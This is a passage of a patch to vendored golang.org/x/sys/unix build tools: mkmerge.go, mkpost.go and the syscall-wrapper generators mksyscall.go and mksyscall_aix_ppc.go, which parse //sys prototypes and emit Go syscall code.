-+ cmap[f] = append(cmap[f], cGrp)
-+ }
-+ }
-+ }
-+ f.Comments = cmap.Filter(f).Comments()
-+
-+ // Generate code for the filtered ast
-+ var buf bytes.Buffer
-+ if err = format.Node(&buf, fset, f); err != nil {
-+ return nil, err
-+ }
-+
-+ groupedSrc, err := groups.filterEmptyLines(&buf)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ return filterImports(groupedSrc)
-+}
-+
-+// getCommonSet returns the set of consts, types, and funcs that are present in every file.
-+func getCommonSet(files []srcFile) (*codeSet, error) {
-+ if len(files) == 0 {
-+ return nil, fmt.Errorf("no files provided")
-+ }
-+ // Use the first architecture file as the baseline
-+ baseSet, err := getCodeSet(files[0].src)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ // Compare baseline set with other architecture files: discard any element,
-+ // that doesn't exist in other architecture files.
-+ for _, f := range files[1:] {
-+ set, err := getCodeSet(f.src)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ baseSet = baseSet.intersection(set)
-+ }
-+ return baseSet, nil
-+}
-+
-+// getCodeSet returns the set of all top-level consts, types, and funcs from src.
-+// src must be string, []byte, or io.Reader (see go/parser.ParseFile docs)
-+func getCodeSet(src interface{}) (*codeSet, error) {
-+ set := newCodeSet()
-+
-+ fset := token.NewFileSet()
-+ f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ for _, decl := range f.Decls {
-+ switch decl := decl.(type) {
-+ case *ast.GenDecl:
-+ // Add const, and type declarations
-+ if !(decl.Tok == token.CONST || decl.Tok == token.TYPE) {
-+ break
-+ }
-+
-+ for _, spec := range decl.Specs {
-+ elem, err := newCodeElem(decl.Tok, spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ set.add(elem)
-+ }
-+ case *ast.FuncDecl:
-+ // Add func declarations
-+ elem, err := newCodeElem(token.FUNC, decl)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ set.add(elem)
-+ }
-+ }
-+
-+ // Add file level comments
-+ cmap := ast.NewCommentMap(fset, f, f.Comments)
-+ for _, cGrp := range cmap[f] {
-+ set.add(codeElem{token.COMMENT, cGrp.Text()})
-+ }
-+
-+ return set, nil
-+}
-+
-+// importName returns the identifier (PackageName) for an imported package
-+func importName(iSpec *ast.ImportSpec) (string, error) {
-+ if iSpec.Name == nil {
-+ name, err := strconv.Unquote(iSpec.Path.Value)
-+ if err != nil {
-+ return "", err
-+ }
-+ return path.Base(name), nil
-+ }
-+ return iSpec.Name.Name, nil
-+}
-+
-+// specGroups tracks grouped const/type specs with a map of line: groupID pairs
-+type specGroups map[string]int
-+
-+// add spec source to group
-+func (s specGroups) add(src string, groupID int) error {
-+ srcBytes, err := format.Source(bytes.TrimSpace([]byte(src)))
-+ if err != nil {
-+ return err
-+ }
-+ s[string(srcBytes)] = groupID
-+ return nil
-+}
-+
-+// filterEmptyLines removes empty lines within groups of const/type specs.
-+// Returns the filtered source.
-+func (s specGroups) filterEmptyLines(src io.Reader) ([]byte, error) {
-+ scanner := bufio.NewScanner(src)
-+ var out bytes.Buffer
-+
-+ var emptyLines bytes.Buffer
-+ prevGroupID := -1 // Initialize to invalid group
-+ for scanner.Scan() {
-+ line := bytes.TrimSpace(scanner.Bytes())
-+
-+ if len(line) == 0 {
-+ fmt.Fprintf(&emptyLines, "%s\n", scanner.Bytes())
-+ continue
-+ }
-+
-+ // Discard emptyLines if previous non-empty line belonged to the same
-+ // group as this line
-+ if src, err := format.Source(line); err == nil {
-+ groupID, ok := s[string(src)]
-+ if ok && groupID == prevGroupID {
-+ emptyLines.Reset()
-+ }
-+ prevGroupID = groupID
-+ }
-+
-+ emptyLines.WriteTo(&out)
-+ fmt.Fprintf(&out, "%s\n", scanner.Bytes())
-+ }
-+ if err := scanner.Err(); err != nil {
-+ return nil, err
-+ }
-+ return out.Bytes(), nil
-+}
-+
-+// filterImports removes unused imports from fileSrc, and returns a formatted src.
-+func filterImports(fileSrc []byte) ([]byte, error) {
-+ fset := token.NewFileSet()
-+ file, err := parser.ParseFile(fset, "", fileSrc, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+ cmap := ast.NewCommentMap(fset, file, file.Comments)
-+
-+ // create set of references to imported identifiers
-+ keepImport := make(map[string]bool)
-+ for _, u := range file.Unresolved {
-+ keepImport[u.Name] = true
-+ }
-+
-+ // filter import declarations
-+ decls := file.Decls
-+ file.Decls = file.Decls[:0]
-+ for _, decl := range decls {
-+ importDecl, ok := decl.(*ast.GenDecl)
-+
-+ // Keep non-import declarations
-+ if !ok || importDecl.Tok != token.IMPORT {
-+ file.Decls = append(file.Decls, decl)
-+ continue
-+ }
-+
-+ // Filter the import specs
-+ specs := importDecl.Specs
-+ importDecl.Specs = importDecl.Specs[:0]
-+ for _, spec := range specs {
-+ iSpec := spec.(*ast.ImportSpec)
-+ name, err := importName(iSpec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ if keepImport[name] {
-+ importDecl.Specs = append(importDecl.Specs, iSpec)
-+ }
-+ }
-+ if len(importDecl.Specs) > 0 {
-+ file.Decls = append(file.Decls, importDecl)
-+ }
-+ }
-+
-+ // filter file.Imports
-+ imports := file.Imports
-+ file.Imports = file.Imports[:0]
-+ for _, spec := range imports {
-+ name, err := importName(spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ if keepImport[name] {
-+ file.Imports = append(file.Imports, spec)
-+ }
-+ }
-+ file.Comments = cmap.Filter(file).Comments()
-+
-+ var buf bytes.Buffer
-+ err = format.Node(&buf, fset, file)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ return buf.Bytes(), nil
-+}
-+
-+// merge extracts duplicate code from archFiles and merges it to mergeFile.
-+// 1. Construct commonSet: the set of code that is idential in all archFiles.
-+// 2. Write the code in commonSet to mergedFile.
-+// 3. Remove the commonSet code from all archFiles.
-+func merge(mergedFile string, archFiles ...string) error {
-+ // extract and validate the GOOS part of the merged filename
-+ goos, ok := getValidGOOS(mergedFile)
-+ if !ok {
-+ return fmt.Errorf("invalid GOOS in merged file name %s", mergedFile)
-+ }
-+
-+ // Read architecture files
-+ var inSrc []srcFile
-+ for _, file := range archFiles {
-+ src, err := ioutil.ReadFile(file)
-+ if err != nil {
-+ return fmt.Errorf("cannot read archfile %s: %w", file, err)
-+ }
-+
-+ inSrc = append(inSrc, srcFile{file, src})
-+ }
-+
-+ // 1. Construct the set of top-level declarations common for all files
-+ commonSet, err := getCommonSet(inSrc)
-+ if err != nil {
-+ return err
-+ }
-+ if commonSet.isEmpty() {
-+ // No common code => do not modify any files
-+ return nil
-+ }
-+
-+ // 2. Write the merged file
-+ mergedSrc, err := filter(inSrc[0].src, commonSet.keepCommon)
-+ if err != nil {
-+ return err
-+ }
-+
-+ f, err := os.Create(mergedFile)
-+ if err != nil {
-+ return err
-+ }
-+
-+ buf := bufio.NewWriter(f)
-+ fmt.Fprintln(buf, "// Code generated by mkmerge.go; DO NOT EDIT.")
-+ fmt.Fprintln(buf)
-+ fmt.Fprintf(buf, "// +build %s\n", goos)
-+ fmt.Fprintln(buf)
-+ buf.Write(mergedSrc)
-+
-+ err = buf.Flush()
-+ if err != nil {
-+ return err
-+ }
-+ err = f.Close()
-+ if err != nil {
-+ return err
-+ }
-+
-+ // 3. Remove duplicate declarations from the architecture files
-+ for _, inFile := range inSrc {
-+ src, err := filter(inFile.src, commonSet.keepArchSpecific)
-+ if err != nil {
-+ return err
-+ }
-+ err = ioutil.WriteFile(inFile.name, src, 0644)
-+ if err != nil {
-+ return err
-+ }
-+ }
-+ return nil
-+}
-+
-+func main() {
-+ var mergedFile string
-+ flag.StringVar(&mergedFile, "out", "", "Write merged code to `FILE`")
-+ flag.Parse()
-+
-+ // Expand wildcards
-+ var filenames []string
-+ for _, arg := range flag.Args() {
-+ matches, err := filepath.Glob(arg)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "Invalid command line argument %q: %v\n", arg, err)
-+ os.Exit(1)
-+ }
-+ filenames = append(filenames, matches...)
-+ }
-+
-+ if len(filenames) < 2 {
-+ // No need to merge
-+ return
-+ }
-+
-+ err := merge(mergedFile, filenames...)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "Merge failed with error: %v\n", err)
-+ os.Exit(1)
-+ }
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkpost.go b/vendor/golang.org/x/sys/unix/mkpost.go
-index d3ff659b..5ee1a16b 100644
---- a/vendor/golang.org/x/sys/unix/mkpost.go
-+++ b/vendor/golang.org/x/sys/unix/mkpost.go
-@@ -28,10 +28,10 @@ func main() {
- if goarch == "" {
- goarch = os.Getenv("GOARCH")
- }
-- // Check that we are using the new build system if we should be.
-- if goos == "linux" && goarch != "sparc64" {
-+ // Check that we are using the Docker-based build system if we should be.
-+ if goos == "linux" {
- if os.Getenv("GOLANG_SYS_BUILD") != "docker" {
-- os.Stderr.WriteString("In the new build system, mkpost should not be called directly.\n")
-+ os.Stderr.WriteString("In the Docker-based build system, mkpost should not be called directly.\n")
- os.Stderr.WriteString("See README.md\n")
- os.Exit(1)
- }
-@@ -42,6 +42,21 @@ func main() {
- log.Fatal(err)
- }
-
-+ if goos == "aix" {
-+ // Replace type of Atim, Mtim and Ctim by Timespec in Stat_t
-+ // to avoid having both StTimespec and Timespec.
-+ sttimespec := regexp.MustCompile(`_Ctype_struct_st_timespec`)
-+ b = sttimespec.ReplaceAll(b, []byte("Timespec"))
-+ }
-+
-+ // Intentionally export __val fields in Fsid and Sigset_t
-+ valRegex := regexp.MustCompile(`type (Fsid|Sigset_t) struct {(\s+)X__(bits|val)(\s+\S+\s+)}`)
-+ b = valRegex.ReplaceAll(b, []byte("type $1 struct {${2}Val$4}"))
-+
-+ // Intentionally export __fds_bits field in FdSet
-+ fdSetRegex := regexp.MustCompile(`type (FdSet) struct {(\s+)X__fds_bits(\s+\S+\s+)}`)
-+ b = fdSetRegex.ReplaceAll(b, []byte("type $1 struct {${2}Bits$3}"))
-+
- // If we have empty Ptrace structs, we should delete them. Only s390x emits
- // nonempty Ptrace structs.
- ptraceRexexp := regexp.MustCompile(`type Ptrace((Psw|Fpregs|Per) struct {\s*})`)
-@@ -56,16 +71,31 @@ func main() {
- removeFieldsRegex := regexp.MustCompile(`X__glibc\S*`)
- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-
-- // We refuse to export private fields on s390x
-- if goarch == "s390x" && goos == "linux" {
-- // Remove cgo padding fields
-- removeFieldsRegex := regexp.MustCompile(`Pad_cgo_\d+`)
-- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-+ // Convert [65]int8 to [65]byte in Utsname members to simplify
-+ // conversion to string; see golang.org/issue/20753
-+ convertUtsnameRegex := regexp.MustCompile(`((Sys|Node|Domain)name|Release|Version|Machine)(\s+)\[(\d+)\]u?int8`)
-+ b = convertUtsnameRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
-
-- // Remove padding, hidden, or unused fields
-- removeFieldsRegex = regexp.MustCompile(`X_\S+`)
-- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-- }
-+ // Convert [n]int8 to [n]byte in Statvfs_t members to simplify
-+ // conversion to string.
-+ convertStatvfsRegex := regexp.MustCompile(`((Fstype|Mnton|Mntfrom)name)(\s+)\[(\d+)\]int8`)
-+ b = convertStatvfsRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
-+
-+ // Convert [1024]int8 to [1024]byte in Ptmget members
-+ convertPtmget := regexp.MustCompile(`([SC]n)(\s+)\[(\d+)\]u?int8`)
-+ b = convertPtmget.ReplaceAll(b, []byte("$1[$3]byte"))
-+
-+ // Remove spare fields (e.g. in Statx_t)
-+ spareFieldsRegex := regexp.MustCompile(`X__spare\S*`)
-+ b = spareFieldsRegex.ReplaceAll(b, []byte("_"))
-+
-+ // Remove cgo padding fields
-+ removePaddingFieldsRegex := regexp.MustCompile(`Pad_cgo_\d+`)
-+ b = removePaddingFieldsRegex.ReplaceAll(b, []byte("_"))
-+
-+ // Remove padding, hidden, or unused fields
-+ removeFieldsRegex = regexp.MustCompile(`\b(X_\S+|Padding)`)
-+ b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-
- // Remove the first line of warning from cgo
- b = b[bytes.IndexByte(b, '\n')+1:]
-@@ -78,6 +108,15 @@ func main() {
- cgoCommandRegex := regexp.MustCompile(`(cgo -godefs .*)`)
- b = cgoCommandRegex.ReplaceAll(b, []byte(replacement))
-
-+ // Rename Stat_t time fields
-+ if goos == "freebsd" && goarch == "386" {
-+ // Hide Stat_t.[AMCB]tim_ext fields
-+ renameStatTimeExtFieldsRegex := regexp.MustCompile(`[AMCB]tim_ext`)
-+ b = renameStatTimeExtFieldsRegex.ReplaceAll(b, []byte("_"))
-+ }
-+ renameStatTimeFieldsRegex := regexp.MustCompile(`([AMCB])(?:irth)?time?(?:spec)?\s+(Timespec|StTimespec)`)
-+ b = renameStatTimeFieldsRegex.ReplaceAll(b, []byte("${1}tim ${2}"))
-+
- // gofmt
- b, err = format.Source(b)
- if err != nil {
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall.go b/vendor/golang.org/x/sys/unix/mksyscall.go
-new file mode 100644
-index 00000000..9e540cc8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall.go
-@@ -0,0 +1,402 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_darwin.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named errno.
-+
-+A line beginning with //sysnb is like //sys, except that the
-+goroutine will not be suspended during the execution of the system
-+call. This must only be used for system calls which can never
-+block, as otherwise the system call could cause all goroutines to
-+hang.
-+*/
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ plan9 = flag.Bool("plan9", false, "plan9")
-+ openbsd = flag.Bool("openbsd", false, "openbsd")
-+ netbsd = flag.Bool("netbsd", false, "netbsd")
-+ dragonfly = flag.Bool("dragonfly", false, "dragonfly")
-+ arm = flag.Bool("arm", false, "arm") // 64-bit value should use (even, odd)-pair
-+ tags = flag.String("tags", "", "build tags")
-+ filename = flag.String("output", "", "output file name (standard output if omitted)")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ // Get the OS and architecture (using GOARCH_TARGET if it exists)
-+ goos := os.Getenv("GOOS")
-+ if goos == "" {
-+ fmt.Fprintln(os.Stderr, "GOOS not defined in environment")
-+ os.Exit(1)
-+ }
-+ goarch := os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
-+ goarch = os.Getenv("GOARCH")
-+ }
-+
-+ // Check that we are using the Docker-based build system if we should
-+ if goos == "linux" {
-+ if os.Getenv("GOLANG_SYS_BUILD") != "docker" {
-+ fmt.Fprintf(os.Stderr, "In the Docker-based build system, mksyscall should not be called directly.\n")
-+ fmt.Fprintf(os.Stderr, "See README.md\n")
-+ os.Exit(1)
-+ }
-+ }
-+
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ libc := false
-+ if goos == "darwin" && (strings.Contains(buildTags(), ",go1.12") || strings.Contains(buildTags(), ",go1.13")) {
-+ libc = true
-+ }
-+ trampolines := map[string]bool{}
-+
-+ text := ""
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, errno error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*((?i)SYS_[A-Z0-9_]+))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, sysname := f[2], f[3], f[4], f[5]
-+
-+ // ClockGettime doesn't have a syscall number on Darwin, only generate libc wrappers.
-+ if goos == "darwin" && !libc && funct == "ClockGettime" {
-+ continue
-+ }
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // Go function header.
-+ outDecl := ""
-+ if len(out) > 0 {
-+ outDecl = fmt.Sprintf(" (%s)", strings.Join(out, ", "))
-+ }
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outDecl)
-+
-+ // Check if err return available
-+ errvar := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ break
-+ }
-+ }
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "uintptr(unsafe.Pointer("+p.Name+"))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\tvar _p%d *byte\n", n)
-+ text += fmt.Sprintf("\t_p%d, %s = BytePtrFromString(%s)\n", n, errvar, p.Name)
-+ text += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\tvar _p%d *byte\n", n)
-+ text += fmt.Sprintf("\t_p%d, _ = BytePtrFromString(%s)\n", n, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass dummy pointer in that case.
-+ // Used to pass nil, but some OSes or simulators reject write(fd, nil, 0).
-+ text += fmt.Sprintf("\tvar _p%d unsafe.Pointer\n", n)
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = unsafe.Pointer(&%s[0])\n\t}", p.Name, n, p.Name)
-+ text += fmt.Sprintf(" else {\n\t\t_p%d = unsafe.Pointer(&_zero)\n\t}\n", n)
-+ args = append(args, fmt.Sprintf("uintptr(_p%d)", n), fmt.Sprintf("uintptr(len(%s))", p.Name))
-+ n++
-+ } else if p.Type == "int64" && (*openbsd || *netbsd) {
-+ args = append(args, "0")
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else if endianness == "little-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ } else if p.Type == "int64" && *dragonfly {
-+ if regexp.MustCompile(`^(?i)extp(read|write)`).FindStringSubmatch(funct) == nil {
-+ args = append(args, "0")
-+ }
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else if endianness == "little-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ } else if (p.Type == "int64" || p.Type == "uint64") && endianness != "" {
-+ if len(args)%2 == 1 && *arm {
-+ // arm abi specifies 64-bit argument uses
-+ // (even, odd) pair
-+ args = append(args, "0")
-+ }
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ }
-+
-+ // Determine which form to use; pad args with zeros.
-+ asm := "Syscall"
-+ if nonblock != nil {
-+ if errvar == "" && goos == "linux" {
-+ asm = "RawSyscallNoError"
-+ } else {
-+ asm = "RawSyscall"
-+ }
-+ } else {
-+ if errvar == "" && goos == "linux" {
-+ asm = "SyscallNoError"
-+ }
-+ }
-+ if len(args) <= 3 {
-+ for len(args) < 3 {
-+ args = append(args, "0")
-+ }
-+ } else if len(args) <= 6 {
-+ asm += "6"
-+ for len(args) < 6 {
-+ args = append(args, "0")
-+ }
-+ } else if len(args) <= 9 {
-+ asm += "9"
-+ for len(args) < 9 {
-+ args = append(args, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s:%s too many arguments to system call\n", path, funct)
-+ }
-+
-+ // System call number.
-+ if sysname == "" {
-+ sysname = "SYS_" + funct
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToUpper(sysname)
-+ }
-+
-+ var libcFn string
-+ if libc {
-+ asm = "syscall_" + strings.ToLower(asm[:1]) + asm[1:] // internal syscall call
-+ sysname = strings.TrimPrefix(sysname, "SYS_") // remove SYS_
-+ sysname = strings.ToLower(sysname) // lowercase
-+ libcFn = sysname
-+ sysname = "funcPC(libc_" + sysname + "_trampoline)"
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := fmt.Sprintf("%s(%s, %s)", asm, sysname, arglist)
-+
-+ // Assign return values.
-+ body := ""
-+ ret := []string{"_", "_", "_"}
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" && !*plan9 {
-+ reg = "e1"
-+ ret[2] = reg
-+ doErrno = true
-+ } else if p.Name == "err" && *plan9 {
-+ ret[0] = "r0"
-+ ret[2] = "e1"
-+ break
-+ } else {
-+ reg = fmt.Sprintf("r%d", i)
-+ ret[i] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%s != 0", reg)
-+ }
-+ if p.Type == "int64" && endianness != "" {
-+ // 64-bit number in r1:r0 or r0:r1.
-+ if i+2 > len(out) {
-+ fmt.Fprintf(os.Stderr, "%s:%s not enough registers for int64 return\n", path, funct)
-+ }
-+ if endianness == "big-endian" {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i, i+1)
-+ } else {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i+1, i)
-+ }
-+ ret[i] = fmt.Sprintf("r%d", i)
-+ ret[i+1] = fmt.Sprintf("r%d", i+1)
-+ }
-+ if reg != "e1" || *plan9 {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" && ret[2] == "_" {
-+ text += fmt.Sprintf("\t%s\n", call)
-+ } else {
-+ if errvar == "" && goos == "linux" {
-+ // raw syscall without error on Linux, see golang.org/issue/22924
-+ text += fmt.Sprintf("\t%s, %s := %s\n", ret[0], ret[1], call)
-+ } else {
-+ text += fmt.Sprintf("\t%s, %s, %s := %s\n", ret[0], ret[1], ret[2], call)
-+ }
-+ }
-+ text += body
-+
-+ if *plan9 && ret[2] == "e1" {
-+ text += "\tif int32(r0) == -1 {\n"
-+ text += "\t\terr = e1\n"
-+ text += "\t}\n"
-+ } else if doErrno {
-+ text += "\tif e1 != 0 {\n"
-+ text += "\t\terr = errnoErr(e1)\n"
-+ text += "\t}\n"
-+ }
-+ text += "\treturn\n"
-+ text += "}\n\n"
-+
-+ if libc && !trampolines[libcFn] {
-+ // some system calls share a trampoline, like read and readlen.
-+ trampolines[libcFn] = true
-+ // Declare assembly trampoline.
-+ text += fmt.Sprintf("func libc_%s_trampoline()\n", libcFn)
-+ // Assembly trampoline calls the libc_* function, which this magic
-+ // redirects to use the function from libSystem.
-+ text += fmt.Sprintf("//go:linkname libc_%s libc_%s\n", libcFn, libcFn)
-+ text += fmt.Sprintf("//go:cgo_import_dynamic libc_%s %s \"/usr/lib/libSystem.B.dylib\"\n", libcFn, libcFn)
-+ text += "\n"
-+ }
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
-new file mode 100644
-index 00000000..3be3cdfc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
-@@ -0,0 +1,415 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_aix.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+*/
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ aix = flag.Bool("aix", false, "aix")
-+ tags = flag.String("tags", "", "build tags")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_aix_ppc.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_aix_ppc.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
